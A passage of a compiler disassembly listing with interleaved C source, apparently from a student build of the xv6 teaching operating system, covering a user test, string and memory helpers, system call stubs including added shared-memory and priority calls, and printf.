printf(1, "fork failed\n"); 35ad: 50 push %eax 35ae: 50 push %eax 35af: 68 f9 4c 00 00 push $0x4cf9 35b4: 6a 01 push $0x1 35b6: e8 a5 04 00 00 call 3a60 <printf> exit(); 35bb: e8 01 03 00 00 call 38c1 <exit> 000035c0 <argptest>: { 35c0: 55 push %ebp 35c1: 89 e5 mov %esp,%ebp 35c3: 53 push %ebx 35c4: 83 ec 0c sub $0xc,%esp fd = open("init", O_RDONLY); 35c7: 6a 00 push $0x0 35c9: 68 83 4d 00 00 push $0x4d83 35ce: e8 2e 03 00 00 call 3901 <open> if (fd < 0) { 35d3: 83 c4 10 add $0x10,%esp 35d6: 85 c0 test %eax,%eax 35d8: 78 39 js 3613 <argptest+0x53> read(fd, sbrk(0) - 1, -1); 35da: 83 ec 0c sub $0xc,%esp 35dd: 89 c3 mov %eax,%ebx 35df: 6a 00 push $0x0 35e1: e8 63 03 00 00 call 3949 <sbrk> 35e6: 83 c4 0c add $0xc,%esp 35e9: 83 e8 01 sub $0x1,%eax 35ec: 6a ff push $0xffffffff 35ee: 50 push %eax 35ef: 53 push %ebx 35f0: e8 e4 02 00 00 call 38d9 <read> close(fd); 35f5: 89 1c 24 mov %ebx,(%esp) 35f8: e8 ec 02 00 00 call 38e9 <close> printf(1, "arg test passed\n"); 35fd: 58 pop %eax 35fe: 5a pop %edx 35ff: 68 95 4d 00 00 push $0x4d95 3604: 6a 01 push $0x1 3606: e8 55 04 00 00 call 3a60 <printf> } 360b: 83 c4 10 add $0x10,%esp 360e: 8b 5d fc mov -0x4(%ebp),%ebx 3611: c9 leave 3612: c3 ret printf(2, "open failed\n"); 3613: 51 push %ecx 3614: 51 push %ecx 3615: 68 88 4d 00 00 push $0x4d88 361a: 6a 02 push $0x2 361c: e8 3f 04 00 00 call 3a60 <printf> exit(); 3621: e8 9b 02 00 00 call 38c1 <exit> 3626: 8d 76 00 lea 0x0(%esi),%esi 3629: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00003630 <rand>: randstate = randstate * 1664525 + 1013904223; 3630: 69 05 a4 5e 00 00 0d imul $0x19660d,0x5ea4,%eax 3637: 66 19 00 { 363a: 55 push %ebp 363b: 89 e5 mov %esp,%ebp } 363d: 5d pop %ebp randstate = randstate * 1664525 + 1013904223; 363e: 05 5f f3 6e 3c add $0x3c6ef35f,%eax 3643: a3 a4 5e 00 00 mov %eax,0x5ea4 } 3648: c3 ret 3649: 66 90 xchg %ax,%ax 364b: 66 90 xchg %ax,%ax 364d: 66 90 xchg %ax,%ax 364f: 90 nop 00003650 <strcpy>: #include "user.h" #include "x86.h" char * strcpy(char *s, char *t) { 3650: 55 push %ebp 3651: 89 e5 mov %esp,%ebp 3653: 53 push %ebx 3654: 8b 45 08 mov 0x8(%ebp),%eax 3657: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while ((*s++ = *t++) != 0) 365a: 89 c2 mov %eax,%edx 365c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 3660: 83 c1 01 add $0x1,%ecx 3663: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 3667: 83 c2 01 add $0x1,%edx 366a: 84 db test %bl,%bl 366c: 88 5a ff mov %bl,-0x1(%edx) 366f: 75 ef jne 3660 <strcpy+0x10> ; return os; } 3671: 5b pop %ebx 3672: 5d pop %ebp 3673: c3 ret 3674: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 367a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00003680 <strcmp>: int strcmp(const char *p, const char *q) { 3680: 55 push %ebp 3681: 89 e5 mov %esp,%ebp 3683: 53 push %ebx 3684: 8b 55 08 mov 0x8(%ebp),%edx 3687: 8b 4d 0c mov 0xc(%ebp),%ecx while (*p && *p == *q) p++, q++; 368a: 0f b6 02 movzbl (%edx),%eax 368d: 0f b6 19 movzbl (%ecx),%ebx 3690: 84 c0 test %al,%al 3692: 75 1c jne 36b0 <strcmp+0x30> 3694: eb 2a jmp 36c0 <strcmp+0x40> 3696: 8d 76 00 lea 0x0(%esi),%esi 3699: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 36a0: 83 c2 01 add $0x1,%edx 36a3: 0f b6 02 movzbl (%edx),%eax 36a6: 83 c1 01 add $0x1,%ecx 36a9: 0f b6 19 movzbl (%ecx),%ebx 36ac: 84 c0 test %al,%al 36ae: 74 10 je 36c0 <strcmp+0x40> 36b0: 38 d8 cmp %bl,%al 36b2: 74 ec je 36a0 <strcmp+0x20> return (uchar)*p - (uchar)*q; 36b4: 29 d8 sub %ebx,%eax } 36b6: 5b pop %ebx 36b7: 5d pop %ebp 36b8: c3 ret 36b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 36c0: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 36c2: 29 d8 sub %ebx,%eax } 36c4: 5b pop %ebx 36c5: 5d pop %ebp 36c6: c3 ret 36c7: 89 f6 mov %esi,%esi 36c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000036d0 <strlen>: uint strlen(char *s) { 36d0: 55 push %ebp 36d1: 89 e5 mov %esp,%ebp 36d3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for (n = 0; s[n]; n++) 36d6: 80 39 00 cmpb $0x0,(%ecx) 36d9: 74 15 je 36f0 <strlen+0x20> 36db: 31 d2 xor %edx,%edx 36dd: 8d 76 00 lea 0x0(%esi),%esi 36e0: 83 c2 01 add $0x1,%edx 36e3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 36e7: 89 d0 mov %edx,%eax 36e9: 75 f5 jne 36e0 <strlen+0x10> ; return n; } 36eb: 5d pop %ebp 36ec: c3 ret 36ed: 8d 76 00 lea 0x0(%esi),%esi for (n = 0; s[n]; n++) 36f0: 31 c0 xor %eax,%eax } 36f2: 5d pop %ebp 36f3: c3 ret 36f4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 36fa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00003700 <memset>: void * memset(void *dst, int c, uint n) { 3700: 55 push %ebp 3701: 89 e5 mov %esp,%ebp 3703: 57 push %edi 3704: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : "=D"(addr), "=c"(cnt) : "0"(addr), "1"(cnt), "a"(data) : "memory", "cc"); 3707: 8b 4d 10 mov 0x10(%ebp),%ecx 370a: 8b 45 0c mov 0xc(%ebp),%eax 370d: 89 d7 mov %edx,%edi 370f: fc cld 3710: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 3712: 89 d0 mov %edx,%eax 3714: 5f pop %edi 3715: 5d pop %ebp 3716: c3 ret 3717: 89 f6 mov %esi,%esi 3719: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00003720 <strchr>: char * strchr(const char *s, char c) { 3720: 55 push %ebp 3721: 89 e5 mov %esp,%ebp 3723: 53 push %ebx 3724: 8b 45 08 mov 0x8(%ebp),%eax 3727: 8b 5d 0c mov 0xc(%ebp),%ebx for (; *s; s++) 372a: 0f b6 10 movzbl (%eax),%edx 372d: 84 d2 test %dl,%dl 372f: 74 1d je 374e <strchr+0x2e> if (*s == c) return (char *)s; 3731: 38 d3 cmp %dl,%bl 3733: 89 d9 mov %ebx,%ecx 3735: 75 0d jne 3744 <strchr+0x24> 3737: eb 17 jmp 3750 <strchr+0x30> 3739: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 3740: 38 ca cmp %cl,%dl 3742: 74 0c je 3750 <strchr+0x30> for (; *s; s++) 3744: 83 c0 01 add $0x1,%eax 3747: 0f b6 10 movzbl (%eax),%edx 374a: 84 d2 test %dl,%dl 374c: 75 f2 jne 3740 <strchr+0x20> return 0; 374e: 31 c0 xor %eax,%eax } 3750: 5b pop %ebx 3751: 5d pop %ebp 3752: c3 ret 3753: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 3759: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00003760 <gets>: char * gets(char *buf, int max) { 3760: 55 push %ebp 3761: 89 e5 mov %esp,%ebp 3763: 57 push %edi 3764: 56 push %esi 3765: 53 push %ebx int i, cc; char c; for (i = 0; i + 1 < max;) { 3766: 31 f6 xor %esi,%esi 3768: 89 f3 mov %esi,%ebx { 376a: 83 ec 1c sub $0x1c,%esp 376d: 8b 7d 08 mov 0x8(%ebp),%edi for (i = 0; i + 1 < max;) { 3770: eb 2f jmp 37a1 <gets+0x41> 3772: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 3778: 8d 45 e7 lea -0x19(%ebp),%eax 377b: 83 ec 04 sub $0x4,%esp 377e: 6a 01 push $0x1 3780: 50 push %eax 3781: 6a 00 push $0x0 3783: e8 51 01 00 00 call 38d9 <read> if (cc < 1) break; 3788: 83 c4 10 add $0x10,%esp 378b: 85 c0 test %eax,%eax 378d: 7e 1c jle 37ab <gets+0x4b> buf[i++] = c; 378f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 3793: 83 c7 01 add $0x1,%edi 3796: 88 47 ff mov %al,-0x1(%edi) if (c == '\n' || c == '\r') break; 3799: 3c 0a cmp $0xa,%al 379b: 74 23 je 37c0 <gets+0x60> 379d: 3c 0d cmp $0xd,%al 379f: 74 1f je 37c0 <gets+0x60> for (i = 0; i + 1 < max;) { 37a1: 83 c3 01 add $0x1,%ebx 37a4: 3b 5d 0c cmp 0xc(%ebp),%ebx 37a7: 89 fe mov %edi,%esi 37a9: 7c cd jl 3778 <gets+0x18> 37ab: 89 f3 mov %esi,%ebx } buf[i] = '\0'; return buf; } 37ad: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 37b0: c6 03 00 movb $0x0,(%ebx) } 37b3: 8d 65 f4 lea -0xc(%ebp),%esp 37b6: 5b pop %ebx 37b7: 5e pop %esi 37b8: 5f pop %edi 37b9: 5d pop %ebp 37ba: c3 ret 37bb: 90 nop 37bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 37c0: 8b 75 08 mov 0x8(%ebp),%esi 37c3: 8b 45 08 mov 0x8(%ebp),%eax 37c6: 01 de add %ebx,%esi 37c8: 89 f3 mov %esi,%ebx buf[i] = '\0'; 37ca: c6 03 00 movb $0x0,(%ebx) } 37cd: 8d 65 f4 lea -0xc(%ebp),%esp 37d0: 5b pop %ebx 37d1: 5e pop %esi 37d2: 5f pop %edi 37d3: 5d pop %ebp 37d4: c3 ret 37d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 37d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000037e0 <stat>: int stat(char *n, struct stat *st) { 37e0: 55 push %ebp 37e1: 89 e5 mov %esp,%ebp 37e3: 56 push %esi 37e4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 37e5: 83 ec 08 sub $0x8,%esp 37e8: 6a 00 push $0x0 37ea: ff 75 08 pushl 0x8(%ebp) 37ed: e8 0f 01 00 00 call 3901 <open> if (fd < 0) return -1; 37f2: 83 c4 10 add $0x10,%esp 37f5: 85 c0 test %eax,%eax 37f7: 78 27 js 3820 <stat+0x40> r = fstat(fd, st); 37f9: 83 ec 08 sub $0x8,%esp 37fc: ff 75 0c pushl 0xc(%ebp) 37ff: 89 c3 mov %eax,%ebx 3801: 50 push %eax 3802: e8 12 01 00 00 call 3919 <fstat> close(fd); 3807: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 380a: 89 c6 mov %eax,%esi close(fd); 380c: e8 d8 00 00 00 call 38e9 <close> return r; 3811: 83 c4 10 add $0x10,%esp } 3814: 8d 65 f8 lea -0x8(%ebp),%esp 3817: 89 f0 mov %esi,%eax 3819: 5b pop %ebx 381a: 5e pop %esi 381b: 5d pop %ebp 381c: c3 ret 381d: 8d 76 00 lea 0x0(%esi),%esi if (fd < 0) return -1; 3820: be ff ff ff ff mov $0xffffffff,%esi 3825: eb ed jmp 3814 <stat+0x34> 3827: 89 f6 mov %esi,%esi 3829: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00003830 <atoi>: int atoi(const char *s) { 3830: 55 push %ebp 3831: 89 e5 mov %esp,%ebp 3833: 53 push %ebx 3834: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while ('0' <= *s && *s <= '9') n= n * 10 + *s++ - '0'; 3837: 0f be 11 movsbl (%ecx),%edx 383a: 8d 42 d0 lea -0x30(%edx),%eax 383d: 3c 09 cmp $0x9,%al n = 0; 383f: b8 00 00 00 00 mov $0x0,%eax while ('0' <= *s && *s <= '9') n= n * 10 + *s++ - '0'; 3844: 77 1f ja 3865 <atoi+0x35> 3846: 8d 76 00 lea 0x0(%esi),%esi 3849: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 3850: 8d 04 80 lea (%eax,%eax,4),%eax 3853: 83 c1 01 add $0x1,%ecx 3856: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax 385a: 0f be 11 movsbl (%ecx),%edx 385d: 8d 5a d0 lea -0x30(%edx),%ebx 3860: 80 fb 09 cmp $0x9,%bl 3863: 76 eb jbe 3850 <atoi+0x20> return n; } 3865: 5b pop %ebx 3866: 5d pop %ebp 3867: c3 ret 3868: 90 nop 3869: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00003870 <memmove>: void * memmove(void *vdst, void *vsrc, int n) { 3870: 55 push %ebp 3871: 89 e5 mov %esp,%ebp 3873: 56 push %esi 3874: 53 push %ebx 3875: 8b 5d 10 mov 0x10(%ebp),%ebx 3878: 8b 45 08 mov 0x8(%ebp),%eax 387b: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while (n-- > 0) *dst++= *src++; 387e: 85 db test %ebx,%ebx 3880: 7e 14 jle 3896 <memmove+0x26> 3882: 31 d2 xor %edx,%edx 3884: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 3888: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 388c: 88 0c 10 mov %cl,(%eax,%edx,1) 388f: 83 c2 01 add $0x1,%edx 3892: 39 d3 cmp %edx,%ebx 3894: 75 f2 jne 3888 <memmove+0x18> return vdst; } 3896: 5b pop %ebx 3897: 5e pop %esi 3898: 5d pop %ebp 3899: c3 ret 389a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 000038a0 <shm_get>: char* shm_get(char* name) { 38a0: 55 push %ebp 38a1: 89 e5 mov %esp,%ebp return shmget(name); } 38a3: 5d pop %ebp return shmget(name); 38a4: e9 00 01 00 00 jmp 39a9 <shmget> 38a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000038b0 <shm_rem>: int shm_rem(char* name) { 38b0: 55 push %ebp 38b1: 89 e5 mov %esp,%ebp return shmrem(name); } 38b3: 5d pop %ebp return shmrem(name); 38b4: e9 f8 00 00 00 jmp 39b1 <shmrem> 000038b9 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 38b9: b8 01 00 00 00 mov $0x1,%eax 38be: cd 40 int $0x40 38c0: c3 ret 000038c1 <exit>: SYSCALL(exit) 38c1: b8 02 00 00 00 mov $0x2,%eax 38c6: cd 40 int $0x40 38c8: c3 ret 000038c9 <wait>: SYSCALL(wait) 38c9: b8 03 00 00 00 mov $0x3,%eax 38ce: cd 40 int $0x40 38d0: c3 ret 000038d1 <pipe>: SYSCALL(pipe) 38d1: b8 04 00 00 00 mov $0x4,%eax 38d6: cd 40 int $0x40 38d8: c3 ret 000038d9 <read>: SYSCALL(read) 38d9: b8 05 00 00 00 mov $0x5,%eax 38de: cd 40 int $0x40 38e0: c3 ret 000038e1 <write>: SYSCALL(write) 38e1: b8 10 00 00 00 mov $0x10,%eax 38e6: cd 40 int $0x40 38e8: c3 ret 000038e9 <close>: SYSCALL(close) 38e9: b8 15 00 00 00 mov $0x15,%eax 38ee: cd 40 int $0x40 38f0: c3 ret 000038f1 <kill>: SYSCALL(kill) 38f1: b8 06 00 00 00 mov $0x6,%eax 38f6: cd 40 int $0x40 38f8: c3 ret 000038f9 <exec>: SYSCALL(exec) 38f9: b8 07 00 00 00 mov $0x7,%eax 38fe: cd 40 int $0x40 3900: c3 ret 00003901 <open>: SYSCALL(open) 3901: b8 0f 00 00 00 mov $0xf,%eax 3906: cd 40 int $0x40 3908: c3 ret 00003909 <mknod>: SYSCALL(mknod) 3909: b8 11 00 00 00 mov $0x11,%eax 390e: cd 40 int $0x40 3910: c3 ret 00003911 <unlink>: SYSCALL(unlink) 3911: b8 12 00 00 00 mov $0x12,%eax 3916: cd 40 int $0x40 3918: c3 ret 00003919 <fstat>: SYSCALL(fstat) 3919: b8 08 00 00 00 mov $0x8,%eax 391e: cd 40 int $0x40 3920: c3 ret 00003921 <link>: SYSCALL(link) 3921: b8 13 00 00 00 mov $0x13,%eax 3926: cd 40 int $0x40 3928: c3 ret 00003929 <mkdir>: SYSCALL(mkdir) 3929: b8 14 00 00 00 mov $0x14,%eax 392e: cd 40 int $0x40 3930: c3 ret 00003931 <chdir>: SYSCALL(chdir) 3931: b8 09 00 00 00 mov $0x9,%eax 3936: cd 40 int $0x40 3938: c3 ret 00003939 <dup>: SYSCALL(dup) 3939: b8 0a 00 00 00 mov $0xa,%eax 393e: cd 40 int $0x40 3940: c3 ret 00003941 <getpid>: SYSCALL(getpid) 3941: b8 0b 00 00 00 mov $0xb,%eax 3946: cd 40 int $0x40 3948: c3 ret 00003949 <sbrk>: SYSCALL(sbrk) 3949: b8 0c 00 00 00 mov $0xc,%eax 394e: cd 40 int $0x40 3950: c3 ret 00003951 <sleep>: SYSCALL(sleep) 3951: b8 0d 00 00 00 mov $0xd,%eax 3956: cd 40 int $0x40 3958: c3 ret 00003959 <uptime>: SYSCALL(uptime) 3959: b8 0e 00 00 00 mov $0xe,%eax 395e: cd 40 int $0x40 3960: c3 ret 00003961 <mcreate>: SYSCALL(mcreate) 3961: b8 16 00 00 00 mov $0x16,%eax 3966: cd 40 int $0x40 3968: c3 ret 00003969 <mdelete>: SYSCALL(mdelete) 3969: b8 17 00 00 00 mov $0x17,%eax 396e: cd 40 int $0x40 3970: c3 ret 00003971 <mlock>: SYSCALL(mlock) 3971: b8 18 00 00 00 mov $0x18,%eax 3976: cd 40 int $0x40 3978: c3 ret 00003979 <munlock>: SYSCALL(munlock) 3979: b8 19 00 00 00 mov $0x19,%eax 397e: cd 40 int $0x40 3980: c3 ret 00003981 <waitcv>: SYSCALL(waitcv) 3981: b8 1a 00 00 00 mov $0x1a,%eax 3986: cd 40 int $0x40 3988: c3 ret 00003989 <signalcv>: SYSCALL(signalcv) 3989: b8 1b 00 00 00 mov $0x1b,%eax 398e: cd 40 int $0x40 3990: c3 ret 00003991 <prio_set>: SYSCALL(prio_set) 3991: b8 1c 00 00 00 mov $0x1c,%eax 3996: cd 40 int $0x40 3998: c3 ret 00003999 <testpqeq>: SYSCALL(testpqeq) 3999: b8 1d 00 00 00 mov $0x1d,%eax 399e: cd 40 int $0x40 39a0: c3 ret 000039a1 <testpqdq>: SYSCALL(testpqdq) 39a1: b8 1e 00 00 00 mov $0x1e,%eax 39a6: cd 40 int $0x40 39a8: c3 ret 000039a9 <shmget>: SYSCALL(shmget) 39a9: b8 1f 00 00 00 mov $0x1f,%eax 39ae: cd 40 int $0x40 39b0: c3 ret 000039b1 <shmrem>: 39b1: b8 20 00 00 00 mov $0x20,%eax 39b6: cd 40 int $0x40 39b8: c3 ret 39b9: 66 90 xchg %ax,%ax 39bb: 66 90 xchg %ax,%ax 39bd: 66 90 xchg %ax,%ax 39bf: 90 nop 000039c0 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 39c0: 55 push %ebp 39c1: 89 e5 mov %esp,%ebp 39c3: 57 push %edi 39c4: 56 push %esi 39c5: 53 push %ebx 39c6: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if (sgn && xx < 0) { 39c9: 85 d2 test %edx,%edx { 39cb: 89 45 c0 mov %eax,-0x40(%ebp) neg = 1; x = -xx; 39ce: 89 d0 mov %edx,%eax if (sgn && xx < 0) { 39d0: 79 76 jns 3a48 <printint+0x88> 39d2: f6 45 08 01 testb $0x1,0x8(%ebp) 39d6: 74 70 je 3a48 <printint+0x88> x = -xx; 39d8: f7 d8 neg %eax neg = 1; 39da: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) } else { x = xx; } i = 0; 39e1: 31 f6 xor %esi,%esi 39e3: 8d 5d d7 lea -0x29(%ebp),%ebx 39e6: eb 0a jmp 39f2 <printint+0x32> 39e8: 90 nop 39e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi do { buf[i++] = digits[x % base]; 39f0: 89 fe mov %edi,%esi 39f2: 31 d2 xor %edx,%edx 39f4: 8d 7e 01 lea 0x1(%esi),%edi 39f7: f7 f1 div %ecx 39f9: 0f b6 92 58 55 00 00 movzbl 0x5558(%edx),%edx } while ((x /= base) != 0); 3a00: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 3a02: 88 14 3b mov %dl,(%ebx,%edi,1) } while ((x /= base) != 0); 3a05: 75 e9 jne 39f0 <printint+0x30> if (neg) buf[i++] = '-'; 3a07: 8b 45 c4 mov -0x3c(%ebp),%eax 3a0a: 85 c0 test %eax,%eax 3a0c: 74 08 je 3a16 <printint+0x56> 3a0e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 3a13: 8d 7e 02 lea 0x2(%esi),%edi 3a16: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi 3a1a: 8b 7d c0 mov -0x40(%ebp),%edi 3a1d: 8d 76 00 lea 0x0(%esi),%esi 3a20: 0f b6 06 movzbl (%esi),%eax write(fd, &c, 1); 3a23: 83 ec 04 sub $0x4,%esp 3a26: 83 ee 01 sub $0x1,%esi 3a29: 6a 01 push $0x1 3a2b: 53 push %ebx 3a2c: 57 push %edi 3a2d: 88 45 d7 mov %al,-0x29(%ebp) 3a30: e8 ac fe ff ff call 38e1 <write> while (--i >= 0) putc(fd, buf[i]); 3a35: 83 c4 10 add $0x10,%esp 3a38: 39 de cmp %ebx,%esi 3a3a: 75 e4 jne 3a20 <printint+0x60> } 3a3c: 8d 65 f4 lea -0xc(%ebp),%esp 3a3f: 5b pop %ebx 3a40: 5e pop %esi 3a41: 5f pop %edi 3a42: 5d pop %ebp 3a43: c3 ret 3a44: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 3a48: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 3a4f: eb 90 jmp 39e1 <printint+0x21> 3a51: eb 0d jmp 3a60 <printf> 3a53: 90 nop 3a54: 90 nop 3a55: 90 nop 3a56: 90 nop 3a57: 90 nop 3a58: 90 nop 3a59: 90 nop 3a5a: 90 nop 3a5b: 90 nop 3a5c: 90 nop 3a5d: 90 nop 3a5e: 90 nop 3a5f: 90 nop 00003a60 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 3a60: 55 push %ebp 3a61: 89 e5 mov %esp,%ebp 3a63: 57 push %edi 3a64: 56 push %esi 3a65: 53 push %ebx 3a66: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint *)(void *)&fmt + 1; for (i = 0; fmt[i]; i++) { 3a69: 8b 75 0c mov 0xc(%ebp),%esi 3a6c: 0f b6 1e movzbl (%esi),%ebx 3a6f: 84 db test %bl,%bl 3a71: 0f 84 b3 00 00 00 je 3b2a <printf+0xca> ap = (uint *)(void *)&fmt + 1; 3a77: 8d 45 10 lea 0x10(%ebp),%eax 3a7a: 83 c6 01 add $0x1,%esi state = 0; 3a7d: 31 ff xor %edi,%edi ap = (uint *)(void *)&fmt + 1; 3a7f: 89 45 d4 mov %eax,-0x2c(%ebp) 3a82: eb 2f jmp 3ab3 <printf+0x53> 3a84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c = fmt[i] & 0xff; if (state == 0) { if (c == '%') { 3a88: 83 f8 25 cmp $0x25,%eax 3a8b: 0f 84 a7 00 00 00 je 3b38 <printf+0xd8> write(fd, &c, 1); 3a91: 8d 45 e2 lea -0x1e(%ebp),%eax 3a94: 83 ec 04 sub $0x4,%esp 3a97: 88 5d e2 mov %bl,-0x1e(%ebp) 3a9a: 6a 01 push $0x1 3a9c: 50 push %eax 3a9d: ff 75 08 pushl 0x8(%ebp) 3aa0: e8 3c fe ff ff call 38e1 <write> 3aa5: 83 c4 10 add $0x10,%esp 3aa8: 83 c6 01 add $0x1,%esi for (i = 0; fmt[i]; i++) { 3aab: 0f b6 5e ff movzbl -0x1(%esi),%ebx 3aaf: 84 db test %bl,%bl 3ab1: 74 77 je 3b2a <printf+0xca> if (state == 0) { 3ab3: 85 ff test %edi,%edi c = fmt[i] & 0xff; 3ab5: 0f be cb movsbl %bl,%ecx 3ab8: 0f b6 c3 movzbl %bl,%eax if (state == 0) { 3abb: 74 cb je 3a88 <printf+0x28> state = '%'; } else { putc(fd, c); } } else if (state == '%') { 3abd: 83 ff 25 cmp $0x25,%edi 3ac0: 75 e6 jne 3aa8 <printf+0x48> if (c == 'd') { 3ac2: 83 f8 64 cmp $0x64,%eax 3ac5: 0f 84 05 01 00 00 je 3bd0 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if (c == 'x' || c == 'p') { 3acb: 81 e1 f7 00 00 00 and $0xf7,%ecx 3ad1: 83 f9 70 cmp $0x70,%ecx 3ad4: 74 72 je 3b48 <printf+0xe8> printint(fd, *ap, 16, 0); ap++; } else if (c == 's') { 3ad6: 83 f8 73 cmp $0x73,%eax 3ad9: 0f 84 99 00 00 00 je 3b78 <printf+0x118> if (s == 0) s = "(null)"; while (*s != 0) { putc(fd, *s); s++; } } else if (c == 'c') { 3adf: 83 f8 63 cmp $0x63,%eax 3ae2: 0f 84 08 01 00 00 je 3bf0 <printf+0x190> putc(fd, *ap); ap++; } else if (c == '%') { 3ae8: 83 f8 25 cmp $0x25,%eax 3aeb: 0f 84 ef 00 00 00 je 3be0 <printf+0x180> write(fd, &c, 1); 3af1: 8d 45 e7 lea -0x19(%ebp),%eax 3af4: 83 ec 04 sub $0x4,%esp 3af7: c6 45 e7 25 movb $0x25,-0x19(%ebp) 3afb: 6a 01 push $0x1 3afd: 50 push %eax 3afe: ff 75 08 pushl 0x8(%ebp) 3b01: e8 db fd ff ff call 38e1 <write> 3b06: 83 c4 0c add $0xc,%esp 3b09: 8d 45 e6 lea -0x1a(%ebp),%eax 3b0c: 88 5d e6 mov %bl,-0x1a(%ebp) 3b0f: 6a 01 push $0x1 3b11: 50 push %eax 3b12: ff 75 08 pushl 0x8(%ebp) 3b15: 83 c6 01 add $0x1,%esi } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 3b18: 31 ff xor %edi,%edi write(fd, &c, 1); 3b1a: e8 c2 fd ff ff call 38e1 <write> for (i = 0; fmt[i]; i++) { 3b1f: 0f b6 5e ff movzbl -0x1(%esi),%ebx write(fd, &c, 1); 3b23: 83 c4 10 add $0x10,%esp for (i = 0; fmt[i]; i++) { 3b26: 84 db test %bl,%bl 3b28: 75 89 jne 3ab3 <printf+0x53> } } } 3b2a: 8d 65 f4 lea -0xc(%ebp),%esp 3b2d: 5b pop %ebx 3b2e: 5e pop %esi 3b2f: 5f pop %edi 3b30: 5d pop %ebp 3b31: c3 ret 3b32: 8d b6 00 00 00 00 lea 0x0(%esi),%esi state = '%'; 3b38: bf 25 00 00 00 mov $0x25,%edi 3b3d: e9 66 ff ff ff jmp 3aa8 <printf+0x48> 3b42: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 16, 0); 3b48: 83 ec 0c sub $0xc,%esp 3b4b: b9 10 00 00 00 mov $0x10,%ecx 3b50: 6a 00 push $0x0 3b52: 8b 7d d4 mov -0x2c(%ebp),%edi 3b55: 8b 45 08 mov 0x8(%ebp),%eax 3b58: 8b 17 mov (%edi),%edx 3b5a: e8 61 fe ff ff call 39c0 <printint> ap++; 3b5f: 89 f8 mov %edi,%eax 3b61: 83 c4 10 add $0x10,%esp state = 0; 3b64: 31 ff xor %edi,%edi ap++; 3b66: 83 c0 04 add $0x4,%eax 3b69: 89 45 d4 mov %eax,-0x2c(%ebp) 3b6c: e9 37 ff ff ff jmp 3aa8 <printf+0x48> 3b71: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi s = (char *)*ap; 3b78: 8b 45 d4 mov -0x2c(%ebp),%eax 3b7b: 8b 08 mov (%eax),%ecx ap++; 3b7d: 83 c0 04 add $0x4,%eax 3b80: 89 45 d4 mov %eax,-0x2c(%ebp) if (s == 0) s = "(null)"; 3b83: 85 c9 test %ecx,%ecx 3b85: 0f 84 8e 00 00 00 je 3c19 <printf+0x1b9> while (*s != 0) { 3b8b: 0f b6 01 movzbl (%ecx),%eax state = 0; 3b8e: 31 ff xor %edi,%edi s = (char *)*ap; 3b90: 89 cb mov %ecx,%ebx while (*s != 0) { 3b92: 84 c0 test %al,%al 3b94: 0f 84 0e ff ff ff je 3aa8 <printf+0x48> 3b9a: 89 75 d0 mov %esi,-0x30(%ebp) 3b9d: 89 de mov %ebx,%esi 3b9f: 8b 5d 08 mov 0x8(%ebp),%ebx 3ba2: 8d 7d e3 lea -0x1d(%ebp),%edi 3ba5: 8d 76 00 lea 0x0(%esi),%esi write(fd, &c, 